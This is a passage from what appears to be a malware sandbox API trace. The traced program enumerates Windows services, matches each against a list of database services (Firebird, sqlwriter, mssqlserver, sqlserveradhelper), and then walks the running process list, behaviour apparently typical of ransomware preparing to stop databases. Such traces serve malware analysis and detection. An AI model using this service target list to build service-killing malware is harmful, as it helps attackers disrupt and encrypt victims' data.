(lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0299.265] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0299.265] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0299.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0299.265] lstrlenW (lpString="CDPSvc") returned 6 [0299.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0299.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0299.266] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0299.266] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0299.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0299.266] lstrlenW (lpString="ClickToRunSvc") returned 13 [0299.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0299.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0299.266] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0299.266] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0299.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0299.266] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0299.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0299.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0299.266] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0299.266] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0299.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0299.266] lstrlenW (lpString="CryptSvc") returned 8 [0299.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0299.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0299.266] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0299.266] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0299.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0299.266] lstrlenW (lpString="DcomLaunch") returned 10 [0299.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0299.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0299.266] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0299.266] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0299.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0299.266] lstrlenW (lpString="DeviceAssociationService") returned 24 [0299.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0299.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0299.267] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0299.267] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0299.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0299.267] lstrlenW (lpString="Dhcp") returned 4 [0299.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0299.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0299.267] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0299.267] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0299.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0299.267] lstrlenW (lpString="Dnscache") returned 8 [0299.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0299.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0299.267] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0299.267] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0299.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0299.267] lstrlenW (lpString="DPS") returned 3 [0299.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0299.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0299.267] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0299.267] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0299.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0299.267] lstrlenW (lpString="DusmSvc") returned 7 [0299.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0299.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0299.267] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0299.267] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0299.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0299.268] lstrlenW (lpString="EventLog") returned 8 [0299.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0299.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0299.268] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0299.268] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0299.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0299.268] lstrlenW (lpString="EventSystem") returned 11 [0299.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0299.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0299.268] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0299.268] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0299.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0299.268] lstrlenW (lpString="FontCache") returned 9 [0299.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0299.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0299.268] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0299.268] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0299.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0299.268] lstrlenW (lpString="gpsvc") returned 5 [0299.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0299.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0299.268] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0299.268] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0299.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0299.268] lstrlenW (lpString="iphlpsvc") returned 8 [0299.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0299.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0299.268] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0299.268] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0299.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0299.269] lstrlenW (lpString="KeyIso") returned 6 [0299.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0299.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0299.269] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0299.269] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0299.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0299.269] lstrlenW (lpString="LanmanServer") returned 12 [0299.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0299.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0299.269] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0299.269] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0299.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0299.269] lstrlenW (lpString="LanmanWorkstation") returned 17 [0299.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0299.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0299.269] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0299.269] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0299.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0299.269] lstrlenW (lpString="lfsvc") returned 5 [0299.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0299.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0299.269] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0299.269] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0299.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0299.269] lstrlenW (lpString="lmhosts") returned 7 [0299.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0299.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0299.269] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0299.269] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0299.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0299.270] lstrlenW (lpString="LSM") returned 3 [0299.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0299.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0299.270] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0299.270] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0299.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0299.270] lstrlenW (lpString="MpsSvc") returned 6 [0299.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0299.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0299.270] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0299.270] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0299.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0299.270] lstrlenW (lpString="NcbService") returned 10 [0299.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0299.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0299.270] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0299.270] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0299.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0299.270] lstrlenW (lpString="netprofm") returned 8 [0299.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0299.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0299.270] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0299.270] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0299.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0299.270] lstrlenW (lpString="NgcSvc") returned 6 [0299.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0299.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0299.270] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0299.270] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0299.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0299.271] lstrlenW (lpString="NlaSvc") returned 6 [0299.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0299.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0299.271] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0299.271] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0299.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0299.271] lstrlenW (lpString="nsi") returned 3 [0299.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0299.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0299.271] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0299.271] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0299.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0299.271] lstrlenW (lpString="PcaSvc") returned 6 [0299.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0299.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0299.271] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0299.271] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0299.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0299.271] lstrlenW (lpString="PlugPlay") returned 8 [0299.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0299.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0299.271] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0299.271] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0299.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0299.271] lstrlenW (lpString="Power") returned 5 [0299.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0299.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0299.271] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0299.271] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0299.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0299.272] lstrlenW (lpString="ProfSvc") returned 7 [0299.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0299.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0299.272] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0299.272] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0299.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0299.272] lstrlenW (lpString="RpcEptMapper") returned 12 [0299.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0299.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0299.272] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0299.272] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0299.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0299.272] lstrlenW (lpString="RpcSs") returned 5 [0299.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0299.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0299.272] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0299.272] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0299.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0299.272] lstrlenW (lpString="SamSs") returned 5 [0299.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0299.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0299.272] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0299.272] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0299.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0299.272] lstrlenW (lpString="Schedule") returned 8 [0299.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0299.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0299.272] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0299.272] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0299.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0299.273] lstrlenW (lpString="SecurityHealthService") returned 21 [0299.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0299.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0299.273] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0299.273] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0299.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0299.273] lstrlenW (lpString="SENS") returned 4 [0299.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0299.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0299.273] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0299.273] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0299.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0299.273] lstrlenW (lpString="ShellHWDetection") returned 16 [0299.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0299.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0299.273] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0299.273] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0299.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0299.273] lstrlenW (lpString="Spooler") returned 7 [0299.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0299.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0299.273] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0299.273] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0299.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0299.273] lstrlenW (lpString="SSDPSRV") returned 7 [0299.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0299.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0299.273] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0299.274] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0299.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0299.274] lstrlenW (lpString="StateRepository") returned 15 [0299.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0299.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0299.274] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0299.274] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0299.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0299.274] lstrlenW (lpString="SysMain") returned 7 [0299.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0299.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0299.274] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0299.274] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0299.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0299.274] lstrlenW (lpString="SystemEventsBroker") returned 18 [0299.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0299.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0299.274] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0299.274] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0299.274] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10cc [0299.279] Process32FirstW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0299.280] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0299.280] lstrlenW (lpString="System") returned 6 [0299.281] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0299.281] lstrlenW (lpString="smss.exe") returned 8 [0299.281] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0299.282] lstrlenW (lpString="csrss.exe") returned 9 [0299.282] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0299.283] lstrlenW (lpString="wininit.exe") returned 11 [0299.283] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0299.284] lstrlenW (lpString="csrss.exe") returned 9 [0299.284] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0299.285] lstrlenW (lpString="winlogon.exe") returned 12 [0299.285] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0299.285] lstrlenW (lpString="services.exe") returned 12 [0299.286] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0299.286] lstrlenW (lpString="lsass.exe") returned 9 [0299.286] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0299.287] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0299.287] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0299.288] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0299.288] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.289] lstrlenW (lpString="svchost.exe") returned 11 [0299.289] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.290] lstrlenW (lpString="svchost.exe") returned 11 [0299.290] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0299.291] lstrlenW (lpString="dwm.exe") returned 7 [0299.291] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0299.291] lstrlenW (lpString="svchost.exe") returned 11 [0299.291] Process32NextW (in: hSnapshot=0x10cc, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, 